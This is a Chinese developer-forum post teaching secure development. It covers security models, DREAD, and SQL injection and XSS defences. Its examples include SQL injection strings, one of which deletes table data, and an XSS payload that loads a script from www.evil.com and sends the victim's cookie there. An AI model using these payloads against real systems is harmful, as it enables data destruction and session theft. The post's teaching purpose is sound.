UDN-企业互联网技术人气社区

板块导航

浏览  : 1987
回复  : 0

[实践集] DevOps实践集——安全开发

[复制链接]
jingyun1的头像 楼主
发表于 2015-7-23 13:45:16 | 显示全部楼层 |阅读模式
1. 安全概述
1.1 安全三要素CIA
  • 机密性(Confidentiality)
    要求保护数据内容不能泄露,加密是实现机密性要求的常见手段
  • 完整性(Integrity)
    要求保护数据内容是完整、没有被篡改的。常见的保护手段是数字签名
  • 可用性(Availability)
    保护资源“随需而得”。常见攻击手段:拒绝服务攻击
安全要素的扩充:可审计性、不可抵赖性
1.2 安全领域模型
nc_security_model.png

  • 威胁 (Threat) – 风险的外因
  • 威胁代理(人、自然)
  • 攻击方式(攻击向量)
    • 漏洞(Vulnerability) – 风险的内因
    • 风险(Risk)
  • 安全事件(Security Incident)
1.3 安全分层模型
nc_security_model2.png

1.4 DREAD模型
微软的风险模型:
  • Damage Potential(危害)
    • 获取完全验证权限;执行管理员操作;非法上传文件
    • 泄露敏感信息
    • 泄露其它信息
  • Reproducibility(可再现性)
    • 攻击者可随意再次攻击
    • 攻击者可以重复攻击,但是时间有限
    • 攻击者很难重复攻击过程
  • Exploitability(可利用性)
    • 初学者在短期内能掌握攻击方法
    • 熟练的攻击者才能完成攻击
    • 漏洞利用条件非常苛刻
  • Affected users(受影响的用户)
    • 所有用户,默认配置,关键用户
    • 部分用户,非默认配置
    • 极少数用户,匿名用户
  • Discoverability(可发现性)
    • 漏洞明显,攻击条件很容易获得
    • 在私有区域,部分人能看见,需要深入挖掘漏洞
    • 发现该漏洞极其困难
安全组织
nc_security_org.png

2. 安全需求
nc_security_req.png

  • 技术安全需求 技术安全需求是应用的基本安全需求,与应用的具体领域业务不直接相关,可以对照OWASP ASVS的标准所规定的安全需求并对照应用的技术架构予以裁剪
  • 领域安全需求 与具体应用的领域相关的安全需求,包括国家的法律、行业法规和规范所涉及到的安全需求。
  • 业务安全需求 与具体应用场景相关的安全需求
从技术和业务敏感两个维护对各领域进行归类:
分类
技术
业务敏感度
安全需求
A类
轻量级
A1、A2、A3
B类
轻量级
A1、A2、A3
C类
Swing
A1、A2
D类
Swing
A1、A2
E类
移动
所有
A1、A2、A3、A4
由此总结出A1-注入、A2-失效的身份认证和会话管理、A3-跨站脚本(XSS)、V17-Mobile为重点需求
3. 安全开发规范
3.1 注入攻击简介
  • 注入攻击本质:数据当成代码执行
  • 注入防治原则: 数据与代码分离
  • 注入类型 (按照注入发生的运行环境)
    • 服务端注入,包括SQL注入、XML注入、代码注入(禁用可以执行命令的函数如eval)、CRLF注入
    • 客户端注入,XSS(HTML、CSS、JavaScript、URL)注入攻击
3.2 SQL注入
原理
通过把SQL命令插入到Web表单或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
危害
  • 非法查询、修改、删除其他数据库资源
  • 执行系统命令
  • 获取服务器root权限
示例
String sql = "select * from user where user_name='" + varname + "' and passwd='" + vaRPAsswd + "'“;
若varname = “zhangsan”,varpasswd = “' or '1' = '1 ”
则sql为:select * from user where user_name=‘ zhangsan’ and passwd=‘’ or '1' = '1 ’

若varname = “zhangsan”,varpasswd = “'; delete from user where '1' = '1 ”
则sql为:select * from user where user_name=‘ zhangsan’ and passwd=‘'; delete from user where '1' = '1 ’
编码方法
方案1:采用JDBC java.sql.PreparedStatement方法,这种情况一般适合简单的场景,使用也比较简单。 示例:
PreparedStatement pstmt =
        con.prepareStatement("UPDATE EMPLOYEES SET SALARY = ? WHERE ID = ?");
        pstmt.setBigDecimal(1, 10000.00)
        pstmt.setString(2, ‘110592’)
方案2:使用简单转码方式。在解决遗留代码问题,如果SQL的拼接是通过很多复杂函数完成的,使用方案1比较困难,可以考虑本方案。
方案3:使用复杂转码方式。对于复杂拼接字符串的场景,可以采用此方案。
方案4:使用输入验证,例如数字输入的项,需要禁止非法字符输入。对于复杂输入场景,该方案部不能彻底解决问题。需要结合上述三个方案一起解决注入问题。
3.3 XSS注入
原理
通过“HTML注入”篡改网页,插入恶意脚本。在用户浏览网页时,控制用户浏览器的一种攻击。
类型
  • 反射型XSS
  • 存储型XSS
  • DOM Based XSS
危害
  • 盗取用户cookie
  • XSS蠕虫
  • 挂马,结合XSS蠕虫,危害巨大
示例
<html>
<head>test</head>
<body>
<%= var %>
</body>
</html>
其中 var 是用户能够控制的变量,当var的值是:
<script src=http://www.evil.com/evil.js></script>
脚本在客户浏览器上执行

若http:/www.evil.com/evil.js为:
var img = document.createElement(“img”);
img.src = “http://www.evil.com/log?”+escape(document.cookie);
document.body.appendChild(img);

这段代码插入了一个看不见的图片,图片发送请求到攻击者网站www.evil.com,并将客户的cookie发送到攻击者
编码方法
HTML注入漏洞防御示例,包括HTML、CSS、JavaScript、URL。由于不同的脚本使用不同的解释器,不同的脚本需要采用不同的编码方式,ESAPI针对不同的脚本提供了不同的编码函数,可依据不同的场景使用
编程示例:
  • HTML编码:testHTMLEncode();
  • HTML Attribute编码:testHTMLAttributeEncode();
  • CSS编码:testCSSEncode();
  • JavaScript编码:testJavaScriptEncode();
  • URL编码:testURLEncode();
  • XML编码:testXMLEncode();
  • XML Attribute编码:testXMLAttributeEncode();
  • HTML组合编码:testClientSidePreparedStringEncode();
nc_security_xss.png

3.3 ESAPI安全编码规范
4. 安全验证
nc_security_validation.png


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们
联系我们
  • 电话:010-86393388
  • 邮件:udn@yonyou.com
  • 地址:北京市海淀区北清路68号
移动客户端下载
关注我们
  • 微信公众号:yonyouudn
  • 扫描右侧二维码关注我们
  • 专注企业互联网的技术社区
版权所有:用友网络科技股份有限公司82041 京ICP备05007539号-11 京公网网备安1101080209224 Powered by Discuz!
快速回复 返回列表 返回顶部